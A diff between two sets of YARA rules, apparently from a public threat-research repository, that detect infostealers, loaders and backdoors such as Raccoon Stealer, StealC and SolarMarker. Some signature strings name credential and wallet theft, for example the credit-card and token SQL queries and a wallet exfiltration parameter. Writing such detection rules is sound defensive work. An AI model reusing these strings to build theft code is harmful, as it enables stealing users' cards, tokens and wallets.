RUSSIANPANDA_Darkgate_Autoit +rule RUSSIANPANDA_Ducktail : FILE { meta: - description = "Detects DarkGate AutoIT script" + description = "Ducktail Infostealer" author = "RussianPanda" - id = "b30544b5-88c9-5a84-8582-f4f72b228f24" - date = "2024-01-26" - modified = "2024-01-26" - reference = "https://yara.readthedocs.io/en/stable/writingrules.html?highlight=xor" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/DarkGate/darkgate_autoit.yar#L1-L19" + id = "14ba165f-a1f3-5820-a6d8-e2b6ab2fbb51" + date = "2023-04-25" + modified = "2023-05-05" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ducktail/ducktail.yar#L1-L16" license_url = "N/A" - hash = "e1803b01e3f187355dbeb87a0c91b76c" - logic_hash = "dda6726d09035d6f61ca331d18ed37f032c6f6a5ab88e1754a21587f4c79ac87" + logic_hash = "cb248870f6945d7a6d60d54944dc726d40ba326448af39b87325ec56445602a5" score = 75 - quality = 85 - tags = "" + quality = 73 + tags = "FILE" strings: - $h = "AU3!EA06" - $s1 = "just_test.txt" xor(0x01-0xff) - $s2 = "c:\\temp\\data.txt" xor(0x01-0xff) - $s3 = "test.txt" xor(0x01-0xff) - $s4 = "cc.txt" xor(0x01-0xff) - $s5 = "c:\\temp\\data.txt" xor(0x01-0xff) - $s6 = "uu.txt" xor(0x01-0xff) + $s = {65 5f 73 71 6c 69 74 65 33 2e 64 6c 6c} + $s1 = {54 65 6c 65 67 72 61 6d 2e 42 6f 74 2e 64 6c 6c} + $s2 = {4e 65 77 74 6f 6e 73 6f 66 74 2e 4a 73 6f 6e 2e 64 6c 6c} + $s3 = {42 6f 75 6e 63 79 43 61 73 74 6c 65 2e 43 72 79 70 74 6f 2e 64 6c 6c} + $s4 = {53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 53 6f 63 6b 65 74 73 2e 43 6c 69 65 6e 74 2e 64 6c 6c} + $s5 = {53 79 73 74 65 6d 2e 4e 65 74 2e 4d 61 69 6c 2e 64 6c 6c} condition: - 3 of ( $s* ) and $h + all of them and filesize > 60MB } -rule RUSSIANPANDA_Mal_Narniarat : FILE +rule RUSSIANPANDA_Win_Mal_Planetstealer : FILE { meta: - description = "Detects NarniaRAT from BotnetFenix campaign" + description = "Detects PlanetStealer" author = "RussianPanda" - id = "64c3a44b-5d75-5fec-bfc1-b66a5eb5780c" - date = "2024-02-02" - modified = "2024-02-02" + id = "f912066f-4151-5f83-8d34-6bffdf9e25e5" + date = "2024-03-04" + modified = "2024-03-24" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/NarniaRAT/mal_NarniaRAT.yar#L1-L16" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PlanetStealer/win_mal_PlanetStealer.yar#L1-L14" license_url = "N/A" - hash = "43f6c3f92a025d12de4c4f14afa5d098" - logic_hash = "3ee8bf6b3970c6f56ca98c87752050217e350da160a650e1724b19f340bf0230" + logic_hash = "e1660d6fed4c48b45b40bd51fb52254c5b19ca6f1938b68f2344bde473820b86" score = 75 - quality = 85 + quality = 79 tags = "FILE" strings: - $s1 = "client-remote desktop" - $s2 = "SendDataToServer" - $s3 = "SendRunningApps" - $s4 = "SendDataToServer" - $s5 = "SendKeys" - $s6 = "_CorExeMain" + $s1 = {48 8D 15 ?? ?? ?? 00 0F B6 34 10 0F B6 BC 04 ?? ?? 00 00 ?? ?? 40 88 ?? 04 ?? ?? 00 00 48 FF C0} + $s2 = {48 83 F8 ?? 7C DA} + $s3 = {72 75 6E 74 69 6D 65 2E 67 6F 62 75 66} + $s4 = {74 6F 74 61 6C 5F 77 61 6C 6C 65 74 73} + $s5 = {74 6F 74 61 6C 5F 63 6F 6F 6B 69 65 73} condition: - uint16( 0 ) == 0x5A4D and 5 of them + uint16( 0 ) == 0x5A4D and all of them and #s2 > 100 and #s1 > 100 and filesize < 20MB } -rule RUSSIANPANDA_Johnwalkertexasloader : FILE +rule RUSSIANPANDA_Mal_Cleanuploader : FILE { meta: - description = "Detects JohnWalkerTexasLoader (JWTL)" + description = "Detects CleanUpLoader" author = "RussianPanda" - id = "af91ab47-245b-58f2-a35a-1cb408b2229a" - date = "2024-10-10" - modified = "2024-10-10" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JWTL/JohnWalkerTexasLoader.yar#L1-L16" + id = "fc75fed2-0f8c-55c9-bd10-efe95a678f31" + date = "2024-02-14" + modified = "2024-02-14" + reference = "https://x.com/AnFam17/status/1757871703282077857?s=20" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/CleanUpLoader/mal_cleanuploader.yar#L1-L14" license_url = "N/A" - hash = "3784fc39dc5c0dec08ad0a49bbbb990359e313a9fa87e6842fd67ed7cc1c0baa" - logic_hash = "414be3219d12823639d140d132a9bbc2ca7bf8c44d0c560e4a49b76323be3f8a" + hash = "2b62dd154b431d8309002d5b4a35de07" + logic_hash = "a9267c568c11420e36f0781469aa7d932c87d52707981912558eb0f4f84f673a" score = 75 - quality = 85 + quality = 83 tags = "FILE" strings: - $s1 = "?status=1&wallets=" ascii wide - $s2 = "/api.php" ascii wide - $s3 = "/api-debug.php" ascii wide + $s1 = {0F B6 80 30 82 42 00 88} + $s2 = {44 69 73 6B 43 6C 72} + $s3 = {49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 20 00 45 00 64 00 67 00 65} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and all of them and #s1 > 15 } -rule RUSSIANPANDA_Johnwalkertexasloader_V2 : FILE +rule RUSSIANPANDA_PSWSTEALER : FILE { meta: - description = "Detects JohnWalkerTexasLoader (JWTL)" + description = "PSWSTEALER" author = "RussianPanda" - id = "1a05245e-5ee0-5916-801b-4f7f3a573e71" - date = "2024-10-15" - modified = "2024-10-15" + id = "8a596074-ffe3-5979-b384-487ebe8b953c" + date = "2023-04-02" + modified = "2023-05-05" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JWTL/JohnWalkerTexasLoader_v2.yar#L1-L16" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PSWSTEALER/pswstealer.yar#L1-L14" license_url = "N/A" - hash = "9f6bf0473f5541d84faad4c33a0bc5b1928fceb5938f2d6a7e6e02b7f0980341" - logic_hash = "70cbf6cf0602dc8087f4845451d13d0043872733615050161c077e3346387873" + logic_hash = "7d85b0ccaa07419f22b9f38a4bc66435cd689b21fa7e4584ef8bea485b6bd2c1" score = 75 - quality = 81 + quality = 85 tags = "FILE" strings: - $s1 = {61 00 48 00 52 00 30 00 63 00 48 00 4D 00 36 00 4C 00 79 00 39} - $s2 = {73 65 6E 64 6F 70 65 6E 31} - $s3 = {73 65 6E 64 6F 70 65 6E 32} + $obf = {09 20 FF [3] 5F 06 25 17 58 0A 61 1E 62 09 1E 63 06 25 17 58 0A 61 D2 60 D1 9D} + $obf1 = {09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C} + $enc = {73 ?? 00 00 0A 73 ?? 00 00 0A} + $s = {73 ?? 00 00 0A 0C 08 6F ?? 00 00 0A} condition: - uint16( 0 ) == 0x5A4D and all of them + all of them and filesize < 200KB } -rule RUSSIANPANDA_Raccoonstealer : FILE +rule RUSSIANPANDA_Neptune_Loader : FILE { meta: - description = "Detects Raccoon Stealer v2.3.1.1" + description = "Detects Neptune Loader" author = "RussianPanda" - id = "29f28cd5-370b-5831-8b71-a253f468f7e4" - date = "2024-01-08" - modified = "2024-01-08" - reference = "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-raccoon-stealer-v2-0" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/RaccoonStealer_v2/raccoonstealer_v2.3.1.1.yar#L1-L20" + id = "d576bf47-10bd-55d0-99b0-69c02dc87f17" + date = "2024-01-17" + modified = "2024-01-21" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/NeptuneLoader/neptune_loader.yar#L1-L18" license_url = "N/A" - hash = "c6d0d98dd43822fe12a1d785df4e391db3c92846b0473b54762fbb929de6f5cb" - logic_hash = "ee2b39c1c2068b97e63a03330a2f9e2f12e53aaf9cfffb274acde2372a11fe45" + logic_hash = "ca54b8a624d48aa28bc727420f25e6f0fd67b193ac79443a357d88a9fe7cbdbb" score = 75 - quality = 85 + quality = 81 tags = "FILE" strings: - $s1 = {8B 0D [2] 41 00 A3 [3] 00} - $s2 = "MachineGuid" - $s3 = "SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards" - $s4 = "SELECT service, encrypted_token FROM token_service" - $s5 = "&configId=" - $s6 = "machineId=" + $s1 = {8B C6 E8 F4 FB FF FF} + $s2 = {66 33 D1 66 89 54 58 FE} + $s3 = {7C 53 74 61 72 74 75 70 46 6F 6C 64 65 72 7C} + $s4 = {44 65 6C 70 68 69} + $t1 = {C7 [3] 0B 40 40 00 [6] A1 ?? 61 40 00} + $t2 = {C7 ?? 24 00 40 40 00 A1 ?? 61 40 00} + $t3 = {8B ?? ?? FF D0 B8} condition: - all of ( $s* ) and #s1 > 10 and uint16( 0 ) == 0x5A4D and filesize < 5MB + uint16( 0 ) == 0x5A4D and 3 of ( $s* ) or 2 of ( $t* ) and filesize < 6MB } -rule RUSSIANPANDA_Raccoonstealerv2 : FILE +rule RUSSIANPANDA_Win_Mal_Rustydropper : FILE { meta: - description = "Detects the latest unpacked/unobfuscated build 2.1.0-4" + description = "Detects RustyDropper" author = "RussianPanda" - id = "eda6216a-219b-5f60-8084-4c0c240a4cb4" - date = "2023-04-17" - modified = "2023-05-05" + id = "9f217080-81e0-547a-9336-cf8ac2fadf36" + date = "2024-03-01" + modified = "2024-03-01" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/RaccoonStealer_v2/raccoonstealerv2_2.1.0-4_build.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/RustyDropper/win_mal_RustyDropper.yar#L1-L12" license_url = "N/A" - logic_hash = "e2226f08753a3571045953363c04ec52de3c79cd0cd29e7ecb6afaf2ad573e4e" - score = 50 - quality = 85 + hash = "a3a5e7011335a2284e2d4f73fd464ff129f0c9276878a054c1932bc50608584b" + logic_hash = "d0c76bcd1af63cc1b1fbabc3fa33e6caafd7d9c7c3780a94a1ed37eadef655d7" + score = 75 + quality = 81 tags = "FILE" strings: - $pattern1 = {B9 ?? ?? ?? 00 E8 ?? ?? ?? 00 ?? ?? 89 45 E8} - $pattern2 = {68 ?? ?? ?? 00 ?? 68 01 00 1F 00} - $pattern3 = {68 ?? ?? ?? 00 ?? ?? 68 01 00 1F 00 FF 15 64 ?? ?? 00} - $m1 = {68 ?? ?? ?? 00 ?? 00 68 01 00 1f 00 ff 15 64 ?? ?? 00} - $m2 = {68 ?? ?? ?? 00 ?? 68 01 00 1f 00 ff 15 64 ?? ?? 00} + $s1 = {47 3a 5c 52 55 53 54 5f 44 52 4f 50 50 45 52 5f 45 58 45 5f 50 41 59 4c 4f 41 44 5c 44 52 4f 50 50 45 52 5f 4d 41 49 4e 5c} + $s2 = {46 45 41 54 55 52 45 5f 42 52 4f 57 53 45 52 5f 45 4d 55 4c 41 54 49 4f 4e} condition: - 2 of ( $pattern* ) and uint16( 0 ) == 0x5A4D and 1 of ( $m* ) and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 200KB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_PSWSTEALER : FILE +rule RUSSIANPANDA_Jinxloader : FILE { meta: - description = "PSWSTEALER" + description = "Detects JinxLoader Golang version" author = "RussianPanda" - id = "8a596074-ffe3-5979-b384-487ebe8b953c" - date = "2023-04-02" - modified = "2023-05-05" + id = "25570c99-5938-5be0-a153-a07be0d0571c" + date = "2024-01-02" + modified = "2024-01-02" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PSWSTEALER/pswstealer.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JinxLoader/JinxLoader-1-2-2024.yar#L1-L16" license_url = "N/A" - logic_hash = "7d85b0ccaa07419f22b9f38a4bc66435cd689b21fa7e4584ef8bea485b6bd2c1" + hash = "6bd7ff5d764214f239af2bb58b368308c2d04f1147678c2f638f37a893995f71" + logic_hash = "13dee435fb4d40c629c0a30b6f655b87f14b10a6f6acf61d00e6c692c9bb0ff1" score = 75 - quality = 85 + quality = 81 tags = "FILE" strings: - $obf = {09 20 FF [3] 5F 06 25 17 58 0A 61 1E 62 09 1E 63 06 25 17 58 0A 61 D2 60 D1 9D} - $obf1 = {09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C} - $enc = {73 ?? 00 00 0A 73 ?? 00 00 0A} - $s = {73 ?? 00 00 0A 0C 08 6F ?? 00 00 0A} + $s1 = {72 75 6E 74 69 6D 65 2E 67 6F 70 61 6E 69 63} + $s2 = {48 8D 05 4D 6E 07 00 BB 0A 00 00 00} + $s3 = {73 65 6C 66 5F 64 65 73 74 72 75 63 74 2E 62 61 74} + $s4 = {48 8D 1D B7 24 08 00 [25] E8 EF FC E4 FF} condition: - all of them and filesize < 200KB + uint16( 0 ) == 0x5A4D and all of ( $s* ) and filesize < 9MB } -rule RUSSIANPANDA_Win_Mal_Xworm : FILE + +rule RUSSIANPANDA_Illyrianstealer : FILE { meta: - description = "Detects XWorm RAT" + description = "Detects Illyrian Stealer" author = "RussianPanda" - id = "5701f382-3c97-5a00-9673-6c39b0f11cc2" - date = "2024-03-11" - modified = "2024-03-11" + id = "2f85e87c-6883-5f41-a37c-00f9e93f61bf" + date = "2024-01-08" + modified = "2024-01-08" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/XWorm/win_mal_XWorm.yar#L1-L15" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/IllyrianStealer/illyrian_stealer.yar#L2-L18" license_url = "N/A" - hash = "fc422800144383ef6e2e0eee37e7d6ba" - logic_hash = "c42544285517dc61628e8df2ee5ab6733924fbb2cc08b9b2df273eec0a401d90" + hash = "fae0aed6173804e8c22027cbb0c121eedd927f16ea7e2b23662dbe6e016980e8" + logic_hash = "2012d401d3e7ce2d4d6ea12ed01a30b7d3e18f4ed47dbf70d43bae6c328960ea" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21} - $s2 = {50 00 6C 00 75 00 67 00 69 00 6E 00 73 00 20 00 52 00 65 00 6D 00 6F 00 76 00 65 00 64 00 21} - $s3 = {73 00 65 00 6E 00 64 00 50 00 6C 00 75 00 67 00 69 00 6E} - $s4 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21} - $s5 = "_CorExeMain" + $s1 = "get_TotalPhysicalMemory" + $s2 = "\\b(bitcoincash)[a-zA-HJ-NP-Z0-9]{36,54}\\b" wide + $s3 = "[Crypto]" wide + $s4 = "|Black|" wide condition: - uint16( 0 ) == 0x5A4D and all of them + all of ( $s* ) and filesize < 50KB and pe.imports ( "mscoree.dll" ) } -rule RUSSIANPANDA_Win_Mal_Mmgrabber : FILE +rule RUSSIANPANDA_Prysmax_Stealer : FILE { meta: - description = "Detects mmgrabber Plugin" + description = "Detects Prysmax Stealer" author = "RussianPanda" - id = "9d16282e-0cf3-527c-89df-51ae0d156e70" - date = "2025-02-13" - modified = "2025-02-14" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_mmgrabber.yar#L1-L14" + id = "97ab92b8-1771-5881-9cd1-d8ff76b8f380" + date = "2024-01-09" + modified = "2024-01-10" + reference = "https://www.cyfirma.com/outofband/new-maas-prysmax-launches-fully-undetectable-infostealer/" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Prysmax Stealer/prysmax_stealer.yar#L1-L21" license_url = "N/A" - hash = "40ebd719aa66a88e261633887ed4e2c144bd11fbcc6f7793f9b32652cc5bf2d3" - logic_hash = "149c81b3c1a33933da0c181b8e8a90f40ba5fd8961d6340470790eb375c9695b" + logic_hash = "869eee7dd5209bdea98c248791b9ac911e3daabe6d440aa62aecefa43539a41c" score = 75 - quality = 85 + quality = 73 tags = "FILE" strings: - $s1 = "GrabDesktopWallets" - $s2 = "GrabChromeExtensions" - $s3 = "FindExodusFolder" - $s4 = "mscoree.dll" + $a1 = {23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23} + $s2 = {73 70 72 79 73 6D 61 78} + $s3 = {56 43 52 55 4E 54 49 4D 45 31 34 30 2E 64 6C 6C} + $s4 = {56 43 52 55 4E 54 49 4D 45 31 34 30 5F 31 2E 64 6C 6C} + $s5 = {4D 53 56 43 50 31 34 30 2E 64 6C 6C} + $s6 = {50 79 49 6E 73 74 61 6C 6C 65 72} condition: - uint16( 0 ) == 0x5A4D and all of them + all of ( $s* ) and uint16( 0 ) == 0x5A4D and $a1 in ( 9600000 .. filesize ) and #a1 > 600 and filesize > 60MB and filesize < 200MB } -rule RUSSIANPANDA_Win_Mal_Formgrabber : FILE +rule RUSSIANPANDA_Mal_Xred_Backdoor : FILE { meta: - description = "Detects Formgrabber Plugin" + description = "Detects XRed backdoor" author = "RussianPanda" - id = "818405a9-4348-5c4a-a4d1-e35b4f525e25" - date = "2025-02-13" - modified = "2025-02-14" + id = "61f5fcb8-9351-5db0-8bce-123c96d2a443" + date = "2024-02-09" + modified = "2024-02-09" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_Formgrabber.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/XRed_Backdoor/mal_xred_backdoor.yar#L1-L18" license_url = "N/A" - hash = "33ea72b46af7bb2ecc0775f7536d3259f34bd7a13e298cac66649ee694097c2e" - logic_hash = "649e2a5b018b79d3d8534baf8432924f7ee197f26aebbfd384dd613c31d1b035" + hash = "9e1fbae3a659899dde8db18a32daa46a" + logic_hash = "36d138a0efade1d5c075662dc528235fe66b49879730db78c4c7290fec7420b5" score = 75 - quality = 85 + quality = 73 tags = "FILE" strings: - $s1 = "frmgrb" - $s2 = "WebfakeRecords" - $s3 = "urlblocklist" - $s4 = "mscoree.dll" + $s1 = {4B 65 79 62 6F 61 72 64 20 48 6F 6F 6B 20 2D 3E 20 41 63 74 69 76 65} + $s2 = {54 43 50 20 43 6C 69 65 6E 74 20 2D 3E 20 41 6B 74 69 66} + $s3 = {55 53 42 20 48 6F 6F 6B 73 20 2D 3E 20 41 63 74 69 76 65} + $s4 = {45 58 45 55 52 4C 31} + $s5 = {49 4E 49 55 52 4C 33} + $s6 = {58 52 65 64 35 37} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 3 of them } -rule RUSSIANPANDA_Win_Mal_Pregrabber : FILE +rule RUSSIANPANDA_Win_Mal_Stealc_V2 : FILE { meta: - description = "Detects Pregrabber Plugin" + description = "Detects StealC v2" author = "RussianPanda" - id = "a7e5bf1d-b25e-5c46-b191-ee7de13b24e5" - date = "2025-02-13" - modified = "2025-02-14" + id = "052f4556-ddba-5187-8dcb-138f02bc4c36" + date = "2025-04-10" + modified = "2025-04-10" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_PreGrabber.yar#L1-L17" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/StealC/win_mal_StealC_v2.yar#L1-L12" license_url = "N/A" - hash = "f39319312a567fa771921d11ece66f3ce8996ba45f90d6fc89031b621535eb7e" - logic_hash = "4fcf9c71d7e6b8b571f8452a19ccf0be6153def54ce6148915535a54711b0ff0" + hash = "bc7e489815352f360b6f0c0064e1d305db9150976c4861b19b614be0a5115f97" + logic_hash = "1715ef4e1914a50d8f4a0644ddfd7f9bb2b6f0ec0dfc77615dce4dd5fc943166" score = 75 - quality = 60 + quality = 85 tags = "FILE" strings: - $s1 = "msgPack" - $s2 = "HandlePreGrabber" - $s3 = "bdos" - $s4 = "uniqueid" - $s5 = "mtx" - $s6 = "install" - $s7 = "mscoree.dll" + $s1 = {48 8d ?? ?? ?? ?? 00 48 8d} + $s2 = {0F B7 C8 81 E9 19 04 00 00 74 14 83 E9 09 74 0F 83 E9 01 74 0A 83 E9 1C 74 05 83 F9 04 75 08} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and #s1 > 500 and all of them and filesize < 900KB } -rule RUSSIANPANDA_Win_Mal_Chromium_App_Bound_Encryption_Decrypter : FILE +rule RUSSIANPANDA_Fakebat_Powershell { meta: - description = "Detects Potential Chromium app_bound_encryption key Decrypter" + description = "Detects FakeBat PowerShell scripts" author = "RussianPanda" - id = "f3c500cb-52d1-5e89-a927-36da6246d2cb" - date = "2025-02-13" - modified = "2025-02-14" + id = "76149a6f-c370-5e48-82cc-c89b545c0aa8" + date = "2023-12-01" + modified = "2023-12-01" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_Chromium_app_bound_encryption_Decrypter.yar#L1-L26" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/FakeBat/fakebat_powershell.yar#L1-L13" license_url = "N/A" - hash = "0f4dcfd8c9ada67a9b41033fc715d370399fd74ca94dbb8a1ea45b3785c88d02" - logic_hash = "e871c9a6762c38baeed287e9350530c2c3cd02333b1830210ef74c258bd223b9" + logic_hash = "df6b30d97ac6c9b248fed0d901e8a0a6ad1d855483a5006b008b839d9961092a" score = 75 quality = 85 - tags = "FILE" + tags = "" strings: - $op_chr_1 = {E0 60 88 70 41 F6 11 46} - $op_chr_2 = {88 95 7D 86 7D D3 67 5B} - $op_chr_3 = {CF BE 3A 46 0D 41 7F 40} - $op_chr_4 = {8A F5 0D F3 5A 00 5C C8} - $op_br_1 = {AF 31 6B 57 69 63 6B 4B} - $op_br_2 = {85 60 E4 B2 03 A9 7A 8B} - $op_br_3 = {1E 86 96 F3 8E 0C 71 4C} - $op_br_4 = {82 56 2F AE 6D 75 9C E9} - $op_edg_1 = {6C E9 CB 1F 97 16 AF 43} - $op_edg_2 = {91 40 28 97 C7 C6 97 67} - $op_edg_3 = {07 B8 C2 C9 31 77 34 4F} - $op_edg_4 = {81 B7 44 FF 77 79 52 2B} - $riid1 = {CF BE 3A 46 0D 41 7F 40 8A F5 0D F3 5A 00 5C C8} - $riid2 = {1E 86 96 F3 8E 0C 71 4C 82 56 2F AE 6D 75 9C E9} - $dll1 = "CoCreateInstance" - $dll2 = "CoInitializeEx" + $s1 = "$LoadDomen/?status=start&av=" nocase + $s2 = "$xxx.gpg" nocase + + condition: + all of ( $s* ) +} +rule RUSSIANPANDA_Solardropper +{ + meta: + description = "SolarMarker first stage detection" + author = "RussianPanda" + id = "8e40b001-ae00-5768-bb91-e45264748087" + date = "2023-06-22" + modified = "2024-01-03" + reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solardropper.yar#L1-L15" + license_url = "N/A" + logic_hash = "5dccb7be94e814335c0c867f8b3dd8855043375fe9f1235d5519c690fc7df842" + score = 75 + quality = 85 + tags = "" + + strings: + $p1 = {2d 00 71 00 71 00 78 00 74 00 72 00 61 00 63 00 74 00 3a 00 22 00 3c 00 66 00 69 00 6c 00 71 00 71 00 6e 00 61 00 6d 00 71 00 71 00 3e 00 22 00} + $p2 = "deimos.exe" + $p3 = {5e 00 2d 00 28 00 5b 00 5e 00 3a 00 20 00 5d 00 2b 00 29 00 5b 00 20 00 3a 00 5d 00 3f 00 28 00 5b 00 5e 00 3a 00 5d 00 2a 00 29 00 24 00} condition: - uint16( 0 ) == 0x5A4D and all of ( $dll* ) and all of ( $riid* ) and 8 of ( $op_* ) + all of ( $p* ) } -rule RUSSIANPANDA_Win_Mal_Juniperstealer : FILE +rule RUSSIANPANDA_Solarmarker_Loader_PS2EXE : FILE { meta: - description = "Detects Juniper Stealer" + description = "Detects SolarMarker loader using PS2EXE" author = "RussianPanda" - id = "d8ad9175-a226-5e09-a206-b3da42c1db42" - date = "2025-02-13" - modified = "2025-02-14" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_JuniperStealer.yar#L1-L14" + id = "837883a1-b657-52ae-95c4-ebafc8ac55de" + date = "2024-01-04" + modified = "2024-01-04" + reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarmarker_loader.yar#L1-L17" license_url = "N/A" - hash = "44dc2777ee8dd6d5cd8ebb10e71caf73b330940131417b5fca2b174a264e19e3" - logic_hash = "e3d05058bbb0e8e408f2b6cf24cb2462b6a3f237c3c464b891cda705b4968c02" + hash = "b45c31679c2516b38c7ff8c395f1d11d" + logic_hash = "4f579f350c3320e7b811cae0efe7302e852f59adc02d805f64ba464f8a995f25" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "OutlookDecryptPwd" - $s2 = "CookiesNew" - $s3 = "Cookies128" - $s4 = "mscoree.dll" + $s1 = {72 7B 02 00 70 72 89 02 00 70 72 91 02 00 70 [22] 72 97 02 00 70 72 AB 02 00 70 72 B5 02 00 70} + $s2 = {13 0D 72 [3] 70} + $s3 = {72 C1 02 00 70 72 B2 03 00 70 72 B8 03 00 70} condition: - uint16( 0 ) == 0x5A4D and all of them + all of ( $s* ) and filesize > 200MB } -rule RUSSIANPANDA_Win_Mal_Ghostweaver : FILE +rule RUSSIANPANDA_Solarmarker_First_Stage_Payload : FILE { meta: - description = "Detects GhostWeaver backdoor" + description = "Detects SolarMarker First Stage payload" author = "RussianPanda" - id = "febabd9a-b738-5ed8-b605-4bbef86ce8ac" - date = "2025-02-15" - modified = "2025-02-15" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_GhostWeaver.yar#L1-L13" + id = "56eec644-9ad7-51db-9d11-68ea3e12c36a" + date = "2024-01-30" + modified = "2024-01-30" + reference = "https://x.com/luke92881/status/1751968350689771966?s=20" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarmarker_first_stage_payload.yar#L1-L21" license_url = "N/A" - hash = "5051f0aa11da67e16797daa51992467ad45c5bf18dcd2e252e8aa63d3fce31bc" - logic_hash = "6901fa0e7d5a911a0029536ac38d9a2a248fa72126114b10ea941cc8b4329d12" + hash = "f53563541293a826738d3b8f1164ea43" + logic_hash = "e704614782b0f3cba60c53413e889113d2d44f37e60801205e5ed5ff921b13ee" score = 75 - quality = 85 + quality = 71 tags = "FILE" strings: - $s1 = "$global:keystr" - $s2 = "stub" - $s3 = "ForEach-Object" + $s1 = {63 72 65 64 75 69} + $s2 = {43 72 65 64 55 49 50 72 6F 6D 70 74 46 6F 72 43 72 65 64 65 6E 74 69 61 6C 73} + $s3 = {50 6F 77 65 72 53 68 65 6C 6C} + $s4 = {73 65 74 5F 43 75 72 73 6F 72 50 6F 73 69 74 69 6F 6E} + $s5 = {73 65 74 5F 41 63 63 65 70 74 42 75 74 74 6F 6E} + $s6 = {4D 65 73 73 61 67 65 42 6F 78 42 75 74 74 6F 6E 73} + $s7 = {41 67 69 6C 65 44 6F 74 4E 65 74 52 54} + $s8 = "_CorExeMain" condition: - all of them 